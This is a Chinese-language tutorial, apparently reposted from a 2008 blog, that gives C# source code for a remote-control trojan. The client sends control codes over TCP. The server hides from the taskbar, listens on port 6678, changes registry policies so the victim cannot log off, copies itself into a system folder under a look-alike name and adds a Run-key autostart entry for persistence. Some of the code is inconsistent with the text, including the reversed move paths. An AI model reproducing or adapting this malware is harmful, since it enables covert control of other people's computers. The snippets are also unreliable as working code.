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用C#实现木马程序

王朝c#·作者佚名  2008-05-30
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木马的介绍:(参照黑客防线2000-2001精华本中的木马原理揭秘)

因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

使用的技术:

控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

控制端开发:

控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

控制端的开发:

控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

1 连接请求

使用了.NET类中的 System.Net.Sockets.TcpClient类,

TcpClient(string hostname,int port)

Hostname 是要控制的主机名称,当然你也可以用IP地址。

Port是端口。

// System.EventArgs包含事件数据类的基类

private void button7_Click(object sender, System.EventArgs e)

{

//记录操作,在richTextBox控件中增加操作信息

richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");

int port =6678;

try

{

//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口

client = new TcpClient(textBox1.Text,port);

}

catch

{

MessageBox.Show("服务器不在线!确定是否输入主机名称.");

richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");

}

}//private void buttion

2测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。

//提供网络访问的数据流

//private NetworkStream stream;

代码如下:

private void button8_Click(object sender, System.EventArgs e)

{

//纪录操作

richTextBox1.AppendText("测试连接" +"\r");

try

{

stream = client.GetStream();

if(stream.CanWrite)

{

//发送控制码

string control = "jiance";

byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());

stream.Write(by,0,by.Length);

//下次使用

stream.Flush();

//启动接收反回数据的线程

//receive是线程执行的函数,见后面的分析

threadReceive = new Thread(new ThreadStart(receive));

threadReceive.Start();

}

}

catch(Exception ee)

{

richTextBox1.AppendText (ee.Message+"\r");

MessageBox.Show(ee.Message);

}

}

3控制生效的代码

private void button9_Click(object sender, System.EventArgs e)

{

//这里是确定要发送的控制码,RadioButton是窗体控件

if(radioButton1.Checked){ control = form2.zhucex;}

else if(radioButton2.Checked){ control =form3.zhuces;}

else if(radioButton3.Checked){ control = warring;}

else if(radioButton4.Checked){ control =suggest;}

else if(radioButton5.Checked){ control =form4.mumawe;}

else if(radioButton6.Checked){ control =drop;}

if (control =="000000")

{

MessageBox.Show("你没有输入任何控制目标!不发控制信号");

richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");

}

else if(control != "000000")

{

try

{

//记录操作

richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");

stream = client.GetStream();

if(stream.CanWrite )

{

byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());

stream.Write(by,0,by.Length);

stream.Flush();

threadReceive =new Thread(new ThreadStart(receive));

threadReceive.Start();

}//endif

}//try

catch

{

richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");

MessageBox.Show("服务器未连接1控制无效!" +"\r");

}

}//else if

}

4线程执行的函数

private void receive()

{

//设置读取数据的空间

byte[] bb = new byte[3];

//读取3个字节,i为实际读取的字节数

int i = stream.Read(bb,0,3);

//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);

string ss = System.Text.Encoding.ASCII.GetString(bb);

//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功

if(ss=="hjc")

{

MessageBox.Show("连接成功");

richTextBox1.AppendText("连接成功");

}

if(ss== "hkz")

{

richTextBox1.AppendText(control +"控制成功"+"\r");

MessageBox.Show(control +"控制成功"+"\r");

}

}

服务端的开发:

要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent()

{

//

// Form1

//

//窗体显示的起点和大小

this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);

this.ClientSize = new System.Drawing.Size(368, 357);

//窗体名称

this.Name = "Form1";

//设置属性让它后台运行

this.ShowInTaskbar = false;

this.Text = "Form1";

this.WindowState = System.Windows.Forms.FormWindowState.Minimized;

}

2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数

{

//

// Windows 窗体设计器支持所必需的

//

InitializeComponent();

//

// TODO: 在 InitializeComponent 调用后添加任何构造函数代码

//加入你的侦听代码

//端口你可以自已设定,我使用了固定的端口

int port =6678;

//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的

listener = new TcpListener(port);

//启动侦听

listener.Start();

//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()

//reControlCode 是线程启动执行的函数,此函数根据接收的控制

//控制码选取合适的注册表修改函数

Thread thread = new Thread(new ThreadStart(reControlCode));

thread.Start();

}

reControlCode函数如下,完整代码见程序

private void reControlCode()

{

//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求

socket = listener.AcceptSocket();

//如果连接成功执行

while (socket.Connected)

{

//接收控制码

byte [] by =new byte[6];

int i = socket.Receive(by,by.Length ,0);

string ss = System.Text.Encoding.ASCII.GetString(by);

//根据控制码执行不同的功能

//修改注册表加入编码

switch (ss)

{

case "jiance"://测试连接,返回测试信息

string str ="hjc";

byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);

socket.Send(bytee,0,bytee.Length,0);

break;

case "zx1000":

//修改注册表函数,自已定义,见下面分析

UnLogOff();

//返回控制消息

retMessage();

break;

case "zx0100":

//修改注册表函数

UnClose();

//返回控制消息

retMessage();

break;

//重复的case功能与前面一样,略掉

default:

break;

}//case

}//while

} //private void reControlCode

3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer

下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff()

{

//得到主机的注册表的顶级节点

Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;

//设置一个注册表子键的变量

RegistryKey key1;

try

{

//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键

//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改

key1 =

rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);

//设置子键的键名,和值

key1.SetValue ("NoLogOff",1);

//关闭打开的子键

key1.Close();

//警告字符串设定

mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";

}

catch{}

//如果不存在自已建立

if(key1 ==null)

{

try

{

//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键

RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");

key2.SetValue("NoLogOff",1);

key2.Close();

mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";

}

catch{}

}

}

4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()

{

try

{

//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用

//sourceFileName为要移动的文件名,destFileName为文件的新路径

File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");

}

catch {}

//将新移的木马程序设为自启动.分析和前面一样

try

{

key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);

key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");

key1.Close();

}

catch{}

if(key1 ==null)

{

try

{

RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");

key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");

key1.Close();

}

catch{}

}

} //moveCC1()

http://www.cnblogs.com/sutar/articles/429762.html

 
 
 
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